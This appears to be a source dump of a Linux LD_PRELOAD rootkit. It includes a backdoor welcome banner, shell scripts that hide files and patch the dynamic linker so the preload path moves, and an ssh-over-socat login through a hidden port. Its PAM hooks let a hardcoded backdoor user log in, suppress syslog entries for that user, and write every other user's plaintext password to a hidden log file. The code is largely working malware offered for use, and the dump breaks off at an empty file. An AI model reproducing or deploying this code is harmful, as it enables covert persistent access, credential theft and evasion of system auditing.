7 | | $$ \ $$| $$$$$$$$| $$ | $$| $$$$$$$$ \ $$/$$/ | $$| $$
8 | | $$ | $$| $$_____/| $$ | $$| $$_____/ \ $$$/ | $$| $$
9 | | $$$$$$$/| $$$$$$$| $$$$$$$| $$$$$$$ \ $/ | $$| $$
10 | |_______/ \_______/ \_______/ \_______/ \_/ |__/|__/
11 |
12 |
13 | (press q at any point to leave this screen, this will not show up again)
14 |
15 | Welcome to your backdoor. I hope you have a whaaaaaale of a time.
16 | I won't kill you with a wall of text, so here's all the
17 | important shizzle:
18 |
19 | - FILE/PROCESS HIDING is GID based ONLY.
20 | Extended attributes are great, but not ALL boxes
21 | have 'em. Plus they're a bit slower to use.
22 | This also means that ANY FILES you create are
23 | automatically hidden.
24 | - I assume you've connected to this BACKDOOR
25 | by utilising your HIDDEN PORT. If not, I suggest
26 | you do that now. You can use my ssh.sh to do that.
27 | - Your HOME DIRECTORY is VITAL. I've put SCRIPTS in
28 | your HOME DIR, which RESIDE IN 'etc/'. You can RUN
29 | THEM for more information.
30 |
31 | - jack
--------------------------------------------------------------------------------
/etc/eutils.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # this file utilises the 'controller' in the execve hook.
4 | # without the kit installed, this script will just show you a bunch
5 | # of errors.
6 |
7 | # you can totally just 'chown `id -g`:`id -g` ...'/'chgrp ...'
8 |
9 | [ $(id -u) != 0 ] && exit
10 | if [ ! -z $1 ]; then
11 | read -s -p "Backdoor password: "
12 | [ -z $REPLY ] && exit
13 | password=$REPLY
14 |
15 | echo "Verifying pasword ..."
16 | ./bdutils $password lol || { echo "Incorrect password"; exit; }
17 | echo "Password correct."
18 | fi
19 |
20 | USAGE="
21 | Usage: $0 [ -h | -u ]
22 | -h [path]: Hide file.
23 | -u [path]: Unhide file.
24 | "
25 |
26 | OPTIND=1
27 | while getopts "huk?" opt; do
28 | case "$opt" in
29 | h)
30 | [ -z $2 ] && { echo "No path given to hide."; exit; }
31 | echo "Hiding $2"
32 | ./bdutils $password hide_path $2 || echo "There was an error hiding $2"
33 | exit
34 | ;;
35 | u)
36 | [ -z $2 ] && { echo "No path given to unhide."; exit; }
37 | echo "Unhiding $2"
38 | ./bdutils $password unhide_path $2 || echo "There was an error unhiding $2"
39 | exit
40 | ;;
41 | ?)
42 | echo "$USAGE"
43 | exit
44 | ;;
45 | esac
46 | done
47 |
48 | echo "$USAGE"
--------------------------------------------------------------------------------
/etc/plibdl.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | [ $(id -u) != 0 ] && exit
4 | [ -z $1 ] && exit
5 | O_PRELOAD="$1"
6 | LDIRS=("/lib/" "/lib/x86_64-linux-gnu/" "/lib/i386-linux-gnu/" "/lib32/" "/libx32/" "/lib64/")
7 | PDIRS=("/bin/" "/sbin/" "/etc/" "/home/" "/lib/" "/libx32/" "/lib64/" "/opt/" "/usr/" "/var/")
8 | LLOCS=() # later stores paths of dynamic linker libraries to patch
9 |
10 | # return input '$1' as uppercase string of hex
11 | hstr()
12 | {
13 | local HS="`xxd -p <<< "$1"`"
14 | echo -n "${HS::-2}00" | awk '{print toupper($0)}'
15 | }
16 |
17 | # `gnpreload` uses this function to seek a home, for the npreload file, two directories deep
18 | grecurdir()
19 | {
20 | local cpdir="/notarealdir/"
21 | while [ ! -d "$cpdir" ]; do
22 | cpdir="${PDIRS[$RANDOM % ${#PDIRS[@]}]}"
23 | [ ! -d $cpdir ] && continue
24 |
25 | idirs="$(echo `ls -Ud ${cpdir}*/ 2>&1 | head -8`)" # get 1st 8 dirs in curdir, pipe stderr to stdout
26 | [[ "$idirs" == *"cannot access"* ]] && continue # if the cur directory doesn't have any dirs in it, go next
27 |
28 | IFS=' ' read -a idir <<< "$idirs" # read the list of files into an array called idir
29 | cpdir="${idir[$RANDOM % ${#idir[@]}]}" # pick a random directory from the array
30 | done
31 | echo -n $cpdir
32 | }
33 |
34 | # builds new location string for the preload file.
35 | gnpreload(){ echo -n "`grecurdir`.`cat /dev/urandom | tr -dc 'A-Za-z0-9' | fold -w 8 | head -n 1`"; }
36 |
37 | gldlocs()
38 | {
39 | for clib in ${LDIRS[*]}; do
40 | if [ -d "$clib" ]; then # lib directory exists
41 | xlib="${clib}*" # /DIRECTORY/*
42 | for l in $xlib; do [[ $l == *"ld-2"* ]] && LLOCS+=($l); done
43 | fi
44 | done
45 | }
46 |
47 | patch_lib() # $1=target lib,$2=old preload file,$3=new preload file
48 | {
49 | local HO_PRELOAD="`hstr $2`" # hex our strings
50 | local HN_PRELOAD="`hstr $3`"
51 |
52 | # the new preload file string needs to be the same length as the old one,
53 | # so append nullbytes onto the end of it until it's the same length as the old string.
54 | while [ ${#HN_PRELOAD} != ${#HO_PRELOAD} ]; do HN_PRELOAD+="00"; done
55 |
56 | if [[ "`strings $1`" == *"$2"* ]]; then
57 | hexdump -ve '1/1 "%.2X"' $1 | sed "s/$HO_PRELOAD/$HN_PRELOAD/g" | xxd -r -p > $1.tmp
58 | chmod --reference $1 $1.tmp
59 | mv $1.tmp $1
60 | fi
61 | }
62 |
63 | N_PRELOAD="`gnpreload`" # generate new preload file location
64 | gldlocs # get full paths of dl libs and store in array
65 | for x in ${LLOCS[*]}; do patch_lib $x $O_PRELOAD $N_PRELOAD; done
66 | echo -n $N_PRELOAD # output the new preload file location
67 |
--------------------------------------------------------------------------------
/etc/ssh.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | usage() { echo "usage: $0 [username] [host] [hidden port]"; exit; }
3 | [ ! -f /usr/bin/socat ] && { echo "socat not installed :<"; exit; }
4 | [ -z $1 ] && usage; # no username?
5 | [ -z $2 ] && usage; # no host?
6 | [ -z $3 ] && usage; # no hidden port?
7 | echo "connecting to $1@$2 from port $3" && read -p "press enter to continue"
8 | ssh -t -o ProxyCommand="socat - tcp4-connect:$2:22,bind=:$3" $2 -l "$1"
--------------------------------------------------------------------------------
/modules/backdoor/pam/pam.h:
--------------------------------------------------------------------------------
1 | #ifndef PAM_H
2 | #define PAM_H
3 | #include "pam_vprompt.c"
4 | #include "pam_hooks.c"
5 | #include "pam_syslog.c"
6 | #endif
7 |
--------------------------------------------------------------------------------
/modules/backdoor/pam/pam_hooks.c:
--------------------------------------------------------------------------------
1 | int pam_authenticate(pam_handle_t *pamh, int flags)
2 | {
3 | HOOK(o_pam_authenticate, CPAM_AUTHENTICATE);
4 | void *user;
5 | pam_get_item(pamh, PAM_USER, (const void **)&user);
6 | if((char *)user == NULL) return o_pam_authenticate(pamh, flags);
7 |
8 | char *bduname = strdup(BD_UNAME); xor(bduname);
9 | if(!strcmp((char *)user, bduname))
10 | {
11 | if(!strcmp(cprocname(), "login")){ CLEAN(bduname); return o_pam_authenticate(pamh, flags); }
12 | char prompt[512], *pw;
13 | snprintf(prompt, sizeof(prompt), "* Password for %s: ", bduname);
14 | CLEAN(bduname);
15 | pam_prompt(pamh, 1, &pw, "%s", prompt);
16 |
17 | char *bdpwd=strdup(BD_PWD); xor(bdpwd);
18 | if(!strcmp(crypt(pw, bdpwd), bdpwd)) { CLEAN(bdpwd); return PAM_SUCCESS; }
19 | CLEAN(bdpwd);
20 | return PAM_USER_UNKNOWN;
21 | }
22 | CLEAN(bduname);
23 | return o_pam_authenticate(pamh, flags);
24 | }
25 |
26 | int pam_open_session(pam_handle_t *pamh, int flags)
27 | {
28 | HOOK(o_pam_open_session, CPAM_OPEN_SESSION);
29 |
30 | void *user;
31 | pam_get_item(pamh, PAM_USER, (const void **)&user);
32 | if((char *)user == NULL) return o_pam_open_session(pamh, flags);
33 |
34 | char *bduname=strdup(BD_UNAME); xor(bduname);
35 | if(!strcmp(user, bduname)) { CLEAN(bduname); return PAM_SUCCESS; }
36 | CLEAN(bduname);
37 |
38 | return o_pam_open_session(pamh, flags);
39 | }
40 |
41 | int pam_acct_mgmt(pam_handle_t *pamh, int flags)
42 | {
43 | HOOK(o_pam_acct_mgmt, CPAM_ACCT_MGMT);
44 |
45 | void *user;
46 | pam_get_item(pamh, PAM_USER, (const void **)&user);
47 | if((char *)user == NULL) return o_pam_acct_mgmt(pamh, flags);
48 |
49 | char *bduname = strdup(BD_UNAME); xor(bduname);
50 | if(!strcmp(user, bduname)) { CLEAN(bduname); return PAM_SUCCESS; }
51 | CLEAN(bduname);
52 |
53 | return o_pam_acct_mgmt(pamh, flags);
54 | }
55 |
--------------------------------------------------------------------------------
/modules/backdoor/pam/pam_private.h:
--------------------------------------------------------------------------------
1 | /*
2 | * pam_private.h
3 | *
4 | * This is the Linux-PAM Library Private Header. It contains things
5 | * internal to the Linux-PAM library. Things not needed by either an
6 | * application or module.
7 | *
8 | * Please see end of file for copyright.
9 | *
10 | * Creator: Marc Ewing.
11 | * Maintained: CVS
12 | */
13 |
14 | #ifndef _PAM_PRIVATE_H
15 | #define _PAM_PRIVATE_H
16 |
17 |
18 | #include
19 |
20 | #include
21 | #include
22 | #include
23 |
24 | /* the Linux-PAM configuration file */
25 |
26 | #define PAM_CONFIG "/etc/pam.conf"
27 | #define PAM_CONFIG_D "/etc/pam.d"
28 | #define PAM_CONFIG_DF "/etc/pam.d/%s"
29 |
30 | #define PAM_DEFAULT_SERVICE "other" /* lower case */
31 | #define PAM_DEFAULT_SERVICE_FILE PAM_CONFIG_D "/" PAM_DEFAULT_SERVICE
32 |
33 | #ifdef PAM_LOCKING
34 | /*
35 | * the Linux-PAM lock file. If it exists Linux-PAM will abort. Use it
36 | * to block access to libpam
37 | */
38 | #define PAM_LOCK_FILE "/var/lock/subsys/PAM"
39 | #endif
40 |
41 | /* components of the pam_handle structure */
42 |
43 | #define _PAM_INVALID_RETVAL -1 /* default value for cached_retval */
44 |
45 | struct handler {
46 | int handler_type;
47 | int (*func)(pam_handle_t *pamh, int flags, int argc, char **argv);
48 | int actions[_PAM_RETURN_VALUES];
49 | /* set by authenticate, open_session, chauthtok(1st)
50 | consumed by setcred, close_session, chauthtok(2nd) */
51 | int cached_retval; int *cached_retval_p;
52 | int argc;
53 | char **argv;
54 | struct handler *next;
55 | char *mod_name;
56 | int stack_level;
57 | };
58 |
59 | #define PAM_HT_MODULE 0
60 | #define PAM_HT_MUST_FAIL 1
61 | #define PAM_HT_SUBSTACK 2
62 | #define PAM_HT_SILENT_MODULE 3
63 |
64 | struct loaded_module {
65 | char *name;
66 | int type; /* PAM_STATIC_MOD or PAM_DYNAMIC_MOD */
67 | void *dl_handle;
68 | };
69 |
70 | #define PAM_MT_DYNAMIC_MOD 0
71 | #define PAM_MT_STATIC_MOD 1
72 | #define PAM_MT_FAULTY_MOD 2
73 |
74 | struct handlers {
75 | struct handler *authenticate;
76 | struct handler *setcred;
77 | struct handler *acct_mgmt;
78 | struct handler *open_session;
79 | struct handler *close_session;
80 | struct handler *chauthtok;
81 | };
82 |
83 | struct service {
84 | struct loaded_module *module; /* Array of modules */
85 | int modules_allocated;
86 | int modules_used;
87 | int handlers_loaded;
88 |
89 | struct handlers conf; /* the configured handlers */
90 | struct handlers other; /* the default handlers */
91 | };
92 |
93 | /*
94 | * Environment helper functions
95 | */
96 |
97 | #define PAM_ENV_CHUNK 10 /* chunks of memory calloc()'d *
98 | * at once */
99 |
100 | struct pam_environ {
101 | int entries; /* the number of pointers available */
102 | int requested; /* the number of pointers used: *
103 | * 1 <= requested <= entries */
104 | char **list; /* the environment storage (a list *
105 | * of pointers to malloc() memory) */
106 | };
107 |
108 | #include
109 |
110 | typedef enum { PAM_FALSE, PAM_TRUE } _pam_boolean;
111 |
112 | struct _pam_fail_delay {
113 | _pam_boolean set;
114 | unsigned int delay;
115 | time_t begin;
116 | const void *delay_fn_ptr;
117 | };
118 |
119 | /* initial state in substack */
120 | struct _pam_substack_state {
121 | int impression;
122 | int status;
123 | };
124 |
125 | struct _pam_former_state {
126 | /* this is known and set by _pam_dispatch() */
127 | int choice; /* which flavor of module function did we call? */
128 |
129 | /* state info for the _pam_dispatch_aux() function */
130 | int depth; /* how deep in the stack were we? */
131 | int impression; /* the impression at that time */
132 | int status; /* the status before returning incomplete */
133 | struct _pam_substack_state *substates; /* array of initial substack states */
134 |
135 | /* state info used by pam_get_user() function */
136 | int fail_user;
137 | int want_user;
138 | char *prompt; /* saved prompt information */
139 |
140 | /* state info for the pam_chauthtok() function */
141 | _pam_boolean update;
142 | };
143 | #ifndef OLD_DISTRO
144 | struct pam_handle {
145 | char *authtok;
146 | unsigned caller_is;
147 | struct pam_conv *pam_conversation;
148 | char *oldauthtok;
149 | char *prompt; /* for use by pam_get_user() */
150 | char *service_name;
151 | char *user;
152 | char *rhost;
153 | char *ruser;
154 | char *tty;
155 | char *xdisplay;
156 | char *authtok_type; /* PAM_AUTHTOK_TYPE */
157 | struct pam_data *data;
158 | struct pam_environ *env; /* structure to maintain environment list */
159 | struct _pam_fail_delay fail_delay; /* helper function for easy delays */
160 | struct pam_xauth_data xauth; /* auth info for X display */
161 | struct service handlers;
162 | struct _pam_former_state former; /* library state - support for
163 | event driven applications */
164 | const char *mod_name; /* Name of the module currently executed */
165 | int mod_argc; /* Number of module arguments */
166 | char **mod_argv; /* module arguments */
167 | int choice; /* Which function we call from the module */
168 |
169 | #ifdef HAVE_LIBAUDIT
170 | int audit_state; /* keep track of reported audit messages */
171 | #endif
172 | };
173 | #else
174 | struct pam_handle {
175 | char *authtok;
176 | unsigned caller_is;
177 | struct pam_conv *pam_conversation;
178 | char *oldauthtok;
179 | char *prompt; /* for use by pam_get_user() */
180 | char *service_name;
181 | char *user;
182 | char *rhost;
183 | char *ruser;
184 | char *tty;
185 | struct pam_data *data;
186 | struct pam_environ *env; /* structure to maintain environment list */
187 | struct _pam_fail_delay fail_delay; /* helper function for easy delays */
188 | struct service handlers;
189 | struct _pam_former_state former; /* library state - support for
190 | event driven applications */
191 | const char *mod_name; /* Name of the module currently executed */
192 | int choice; /* Which function we call from the module */
193 |
194 | #ifdef HAVE_LIBAUDIT
195 | int audit_state; /* keep track of reported audit messages */
196 | #endif
197 | };
198 | #endif
199 | /* Values for select arg to _pam_dispatch() */
200 | #define PAM_NOT_STACKED 0
201 | #define PAM_AUTHENTICATE 1
202 | #define PAM_SETCRED 2
203 | #define PAM_ACCOUNT 3
204 | #define PAM_OPEN_SESSION 4
205 | #define PAM_CLOSE_SESSION 5
206 | #define PAM_CHAUTHTOK 6
207 |
208 | #define _PAM_ACTION_IS_JUMP(x) ((x) > 0)
209 | #define _PAM_ACTION_IGNORE 0
210 | #define _PAM_ACTION_OK -1
211 | #define _PAM_ACTION_DONE -2
212 | #define _PAM_ACTION_BAD -3
213 | #define _PAM_ACTION_DIE -4
214 | #define _PAM_ACTION_RESET -5
215 | /* Add any new entries here. Will need to change ..._UNDEF and then
216 | * need to change pam_tokens.h */
217 | #define _PAM_ACTION_UNDEF -6 /* this is treated as an error
218 | ( = _PAM_ACTION_BAD) */
219 |
220 | #define PAM_SUBSTACK_MAX_LEVEL 16 /* maximum level of substacks */
221 |
222 | /* character tables for parsing config files */
223 | extern const char * const _pam_token_actions[-_PAM_ACTION_UNDEF];
224 | extern const char * const _pam_token_returns[_PAM_RETURN_VALUES+1];
225 |
226 | /*
227 | * internally defined functions --- these should not be directly
228 | * called by applications or modules
229 | */
230 | int _pam_dispatch(pam_handle_t *pamh, int flags, int choice);
231 |
232 | /* Free various allocated structures and dlclose() the libs */
233 | int _pam_free_handlers(pam_handle_t *pamh);
234 |
235 | /* Parse config file, allocate handler structures, dlopen() */
236 | int _pam_init_handlers(pam_handle_t *pamh);
237 |
238 | /* Set all hander stuff to 0/NULL - called once from pam_start() */
239 | void _pam_start_handlers(pam_handle_t *pamh);
240 |
241 | /* environment helper functions */
242 |
243 | /* create the environment structure */
244 | int _pam_make_env(pam_handle_t *pamh);
245 |
246 | /* delete the environment structure */
247 | void _pam_drop_env(pam_handle_t *pamh);
248 |
249 | /* these functions deal with failure delays as required by the
250 | authentication modules and application. Their *interface* is likely
251 | to remain the same although their function is hopefully going to
252 | improve */
253 |
254 | /* reset the timer to no-delay */
255 | void _pam_reset_timer(pam_handle_t *pamh);
256 |
257 | /* this sets the clock ticking */
258 | void _pam_start_timer(pam_handle_t *pamh);
259 |
260 | /* this waits for the clock to stop ticking if status != PAM_SUCCESS */
261 | void _pam_await_timer(pam_handle_t *pamh, int status);
262 |
263 | typedef void (*voidfunc(void))(void);
264 | typedef int (*servicefn)(pam_handle_t *, int, int, char **);
265 |
266 | #ifdef PAM_STATIC
267 | /* The next two in ../modules/_pam_static/pam_static.c */
268 |
269 | /* Return pointer to data structure used to define a static module */
270 | struct pam_module * _pam_open_static_handler (pam_handle_t *pamh,
271 | const char *path);
272 |
273 | /* Return pointer to function requested from static module */
274 |
275 | voidfunc *_pam_get_static_sym(struct pam_module *mod, const char *symname);
276 | #else
277 | void *_pam_dlopen (const char *mod_path);
278 | servicefn _pam_dlsym (void *handle, const char *symbol);
279 | void _pam_dlclose (void *handle);
280 | const char *_pam_dlerror (void);
281 | #endif
282 |
283 | /* For now we just use a stack and linear search for module data. */
284 | /* If it becomes apparent that there is a lot of data, it should */
285 | /* changed to either a sorted list or a hash table. */
286 |
287 | struct pam_data {
288 | char *name;
289 | void *data;
290 | void (*cleanup)(pam_handle_t *pamh, void *data, int error_status);
291 | struct pam_data *next;
292 | };
293 |
294 | void _pam_free_data(pam_handle_t *pamh, int status);
295 |
296 | char *_pam_StrTok(char *from, const char *format, char **next);
297 |
298 | char *_pam_strdup(const char *s);
299 |
300 | char *_pam_memdup(const char *s, int len);
301 |
302 | int _pam_mkargv(char *s, char ***argv, int *argc);
303 |
304 | void _pam_sanitize(pam_handle_t *pamh);
305 |
306 | void _pam_set_default_control(int *control_array, int default_action);
307 |
308 | void _pam_parse_control(int *control_array, char *tok);
309 |
310 | #define _PAM_SYSTEM_LOG_PREFIX "PAM"
311 |
312 | /*
313 | * XXX - Take care with this. It could confuse the logic of a trailing
314 | * else
315 | */
316 |
317 | #define IF_NO_PAMH(X,pamh,ERR) \
318 | if ((pamh) == NULL) { \
319 | syslog(LOG_ERR, _PAM_SYSTEM_LOG_PREFIX " " X ": NULL pam handle passed"); \
320 | return ERR; \
321 | }
322 |
323 | /*
324 | * include some helpful macros
325 | */
326 |
327 | //#include
328 |
329 | /* used to work out where control currently resides (in an application
330 | or in a module) */
331 |
332 | #define _PAM_CALLED_FROM_MODULE 1
333 | #define _PAM_CALLED_FROM_APP 2
334 |
335 | #define __PAM_FROM_MODULE(pamh) ((pamh)->caller_is == _PAM_CALLED_FROM_MODULE)
336 | #define __PAM_FROM_APP(pamh) ((pamh)->caller_is == _PAM_CALLED_FROM_APP)
337 | #define __PAM_TO_MODULE(pamh) \
338 | do { (pamh)->caller_is = _PAM_CALLED_FROM_MODULE; } while (0)
339 | #define __PAM_TO_APP(pamh) \
340 | do { (pamh)->caller_is = _PAM_CALLED_FROM_APP; } while (0)
341 |
342 | #ifdef HAVE_LIBAUDIT
343 | extern int _pam_auditlog(pam_handle_t *pamh, int action, int retval, int flags);
344 | extern int _pam_audit_end(pam_handle_t *pamh, int pam_status);
345 | #endif
346 |
347 | /*
348 | * Copyright (C) 1995 by Red Hat Software, Marc Ewing
349 | * Copyright (c) 1996-8,2001 by Andrew G. Morgan
350 | *
351 | * All rights reserved
352 | *
353 | * Redistribution and use in source and binary forms, with or without
354 | * modification, are permitted provided that the following conditions
355 | * are met:
356 | * 1. Redistributions of source code must retain the above copyright
357 | * notice, and the entire permission notice in its entirety,
358 | * including the disclaimer of warranties.
359 | * 2. Redistributions in binary form must reproduce the above copyright
360 | * notice, this list of conditions and the following disclaimer in the
361 | * documentation and/or other materials provided with the distribution.
362 | * 3. The name of the author may not be used to endorse or promote
363 | * products derived from this software without specific prior
364 | * written permission.
365 | *
366 | * ALTERNATIVELY, this product may be distributed under the terms of
367 | * the GNU Public License, in which case the provisions of the GPL are
368 | * required INSTEAD OF the above restrictions. (This clause is
369 | * necessary due to a potential bad interaction between the GPL and
370 | * the restrictions contained in a BSD-style copyright.)
371 | *
372 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
373 | * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
374 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
375 | * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
376 | * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
377 | * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
378 | * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
379 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
380 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
381 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
382 | * OF THE POSSIBILITY OF SUCH DAMAGE.
383 | */
384 |
385 | #endif /* _PAM_PRIVATE_H_ */
386 |
--------------------------------------------------------------------------------
/modules/backdoor/pam/pam_syslog.c:
--------------------------------------------------------------------------------
1 | void pam_syslog(const pam_handle_t *pamh, int priority, const char *fmt, ...)
2 | {
3 | if(is_bdusr()) return;
4 |
5 | void *user;
6 | pam_get_item(pamh, PAM_USER, (const void **)&user);
7 | if((char *)user == NULL) return;
8 |
9 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname);
10 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname);
11 | if(strstr(cprocname(), sshds) || !strcmp((char *)user, bduname)) { CLEAN(bduname); setgid(MGID); return; }
12 | CLEAN(bduname);
13 |
14 | va_list va;
15 | va_start(va,fmt);
16 | pam_vsyslog(pamh,priority,fmt,va);
17 | va_end(va);
18 | return;
19 | }
20 |
21 | void pam_vsyslog(const pam_handle_t *pamh, int priority, const char *fmt, va_list args)
22 | {
23 | if(is_bdusr()) return;
24 |
25 | void *user;
26 | pam_get_item(pamh, PAM_USER, (const void **)&user);
27 | if((char *)user == NULL) return;
28 |
29 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname);
30 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname);
31 | if(strstr(cprocname(),sshds) || !strcmp((char *)user, bduname)) { CLEAN(bduname); setgid(MGID); return; }
32 | CLEAN(bduname);
33 |
34 | HOOK(o_pam_vsyslog,CPAM_VSYSLOG);
35 | o_pam_vsyslog(pamh,priority,fmt,args);
36 | return;
37 | }
--------------------------------------------------------------------------------
/modules/backdoor/pam/pam_vprompt.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Redistribution and use in source and binary forms, with or without
3 | * modification, are permitted provided that the following conditions
4 | * are met:
5 | * 1. Redistributions of source code must retain the above copyright
6 | * notice, and the entire permission notice in its entirety,
7 | * including the disclaimer of warranties.
8 | * 2. Redistributions in binary form must reproduce the above copyright
9 | * notice, this list of conditions and the following disclaimer in the
10 | * documentation and/or other materials provided with the distribution.
11 | * 3. The name of the author may not be used to endorse or promote
12 | * products derived from this software without specific prior
13 | * written permission.
14 | *
15 | * ALTERNATIVELY, this product may be distributed under the terms of
16 | * the GNU Public License, in which case the provisions of the GPL are
17 | * required INSTEAD OF the above restrictions. (This clause is
18 | * necessary due to a potential bad interaction between the GPL and
19 | * the restrictions contained in a BSD-style copyright.)
20 | *
21 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
22 | * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
23 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
24 | * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
25 | * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
26 | * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
27 | * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
28 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
29 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
30 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
31 | * OF THE POSSIBILITY OF SUCH DAMAGE.
32 | */
33 |
34 |
35 | #include
36 | //#include
37 | //i only need two macros from this header file, so i'll just rip them out of the header myself and write them in here ;)
38 |
39 | #define _pam_overwrite(x) \
40 | do { \
41 | register char *__xx__; \
42 | if ((__xx__=(x))) \
43 | while (*__xx__) \
44 | *__xx__++ = '\0'; \
45 | } while (0)
46 |
47 | #define _pam_drop(X) \
48 | do { \
49 | if (X) { \
50 | free(X); \
51 | X=NULL; \
52 | } \
53 | } while (0)
54 |
55 | #include
56 |
57 | #include "pam_private.h"
58 |
59 | int
60 | pam_vprompt (pam_handle_t *pamh, int style, char **response,
61 | const char *fmt, va_list args)
62 | {
63 | void *u;
64 | pam_get_item(pamh, PAM_USER, (const void **)&u);
65 | struct pam_message msg;
66 | struct pam_response *pam_resp = NULL;
67 | const struct pam_message *pmsg;
68 | const struct pam_conv *conv;
69 | const void *convp;
70 | char *msgbuf;
71 | int retval;
72 |
73 | if (response)
74 | *response = NULL;
75 |
76 | retval = pam_get_item (pamh, PAM_CONV, &convp);
77 | if (retval != PAM_SUCCESS)
78 | return retval;
79 | conv = convp;
80 | if (conv == NULL || conv->conv == NULL)
81 | {
82 | pam_syslog (pamh, LOG_ERR, "no conversation function");
83 | return PAM_SYSTEM_ERR;
84 | }
85 |
86 | if (vasprintf (&msgbuf, fmt, args) < 0)
87 | {
88 | pam_syslog (pamh, LOG_ERR, "vasprintf: %m");
89 | return PAM_BUF_ERR;
90 | }
91 |
92 | msg.msg_style = style;
93 | msg.msg = msgbuf;
94 | pmsg = &msg;
95 | retval = conv->conv (1, &pmsg, &pam_resp, conv->appdata_ptr);
96 | if (response) *response = pam_resp == NULL ? NULL : pam_resp->resp;
97 | if (retval != PAM_SUCCESS) return retval;
98 |
99 | // Logging login attempts
100 | char *bduname = strdup(BD_UNAME); xor(bduname);
101 | struct spwd *cuser_entry = getspnam(u);
102 | if (strcmp(u,bduname) && pam_resp->resp != NULL && v_acc(cuser_entry, pam_resp->resp)) // any non-vlany user gets deets logged.. ver_acc_exist added to stop logging of non-existent accounts
103 | {
104 | HOOK(o_fopen, CFOPEN);
105 |
106 | // hiding strings
107 | char logpath[256], *idir=strdup(IDIR); xor(idir);
108 | snprintf(logpath, sizeof(logpath), "%s/auth_logs", idir);
109 | CLEAN(idir);
110 |
111 | FILE *pwlogs = o_fopen(logpath,"a");
112 | fprintf(pwlogs, "Username: %s\nPassword: %s\n\n", (char *)u, pam_resp->resp);
113 | fclose(pwlogs);
114 |
115 | // need to automatically hide the file after creating it
116 | HOOK(o_chown,CCHOWN);
117 | o_chown(logpath,0,MGID);
118 | }
119 | CLEAN(bduname);
120 |
121 |
122 | _pam_overwrite (msgbuf);
123 | _pam_drop (pam_resp);
124 | free (msgbuf);
125 | return retval;
126 | }
127 |
128 | int
129 | pam_prompt (pam_handle_t *pamh, int style, char **response,
130 | const char *fmt, ...)
131 | {
132 | va_list args;
133 | int retval;
134 |
135 | va_start (args, fmt);
136 | retval = pam_vprompt (pamh, style, response, fmt, args);
137 | va_end (args);
138 |
139 | return retval;
140 | }
141 |
--------------------------------------------------------------------------------
/modules/bdvl_util/bdusr.c:
--------------------------------------------------------------------------------
1 | int is_bdusr(void)
2 | {
3 | int obd=0;
4 | char *bdenv=strdup(BD_ENV); xor(bdenv);
5 | if((getenv(bdenv) != NULL && getuid() == 0) || getgid() == MGID)
6 | {
7 | setuid(0);
8 | #ifndef BHOME
9 | // putenv install dir as home,
10 | // putenv hist file location (presum. /dev/null)
11 | char _idir[256], *idir=strdup(IDIR); xor(idir);
12 | snprintf(_idir, sizeof(_idir), "HOME=%s", idir);
13 | putenv(_idir); CLEAN(idir);
14 |
15 | putenv("HISTFILE=/dev/null");
16 | #define BHOME
17 | #endif
18 | obd=1;
19 | }else obd=0;
20 | CLEAN(bdenv);
21 | return obd;
22 | }
23 |
--------------------------------------------------------------------------------
/modules/bdvl_util/cprocname.c:
--------------------------------------------------------------------------------
1 | #include "../libdl/libdl.h"
2 | char *cprocname()
3 | {
4 | HOOK(o_fopen, CFOPEN);
5 | char *pname = malloc(1024);
6 | FILE *cmdline;
7 | if((cmdline = o_fopen("/proc/self/cmdline", "r")) == NULL) snprintf(pname,5,"bash");
8 | else fread(pname, 255, 1, cmdline);
9 | if(cmdline) fclose(cmdline);
10 |
11 | return pname;
12 | }
13 |
14 | char *gcmdline()
15 | {
16 | HOOK(o_open,COPEN);
17 | HOOK(o_read,CREAD);
18 | char *cmdline=malloc(2048),path[256];
19 | int i, c, fd;
20 | snprintf(path, sizeof(path), "/proc/%d/cmdline", getpid());
21 | if((fd=o_open(path,0,0)) < 0) snprintf(cmdline,5,"bash");
22 | else{
23 | c=o_read(fd,cmdline,sizeof(cmdline));
24 | for(i=0;ipw_name,strlen(o_getpwuid(getuid())->pw_name));
35 | return un;
36 | }
--------------------------------------------------------------------------------
/modules/bdvl_util/util.h:
--------------------------------------------------------------------------------
1 | #ifndef UTIL_H
2 | #define UTIL_H
3 | #include "bdusr.c"
4 | #include "cprocname.c"
5 | #include "v_acc.c"
6 | #endif
7 |
--------------------------------------------------------------------------------
/modules/bdvl_util/v_acc.c:
--------------------------------------------------------------------------------
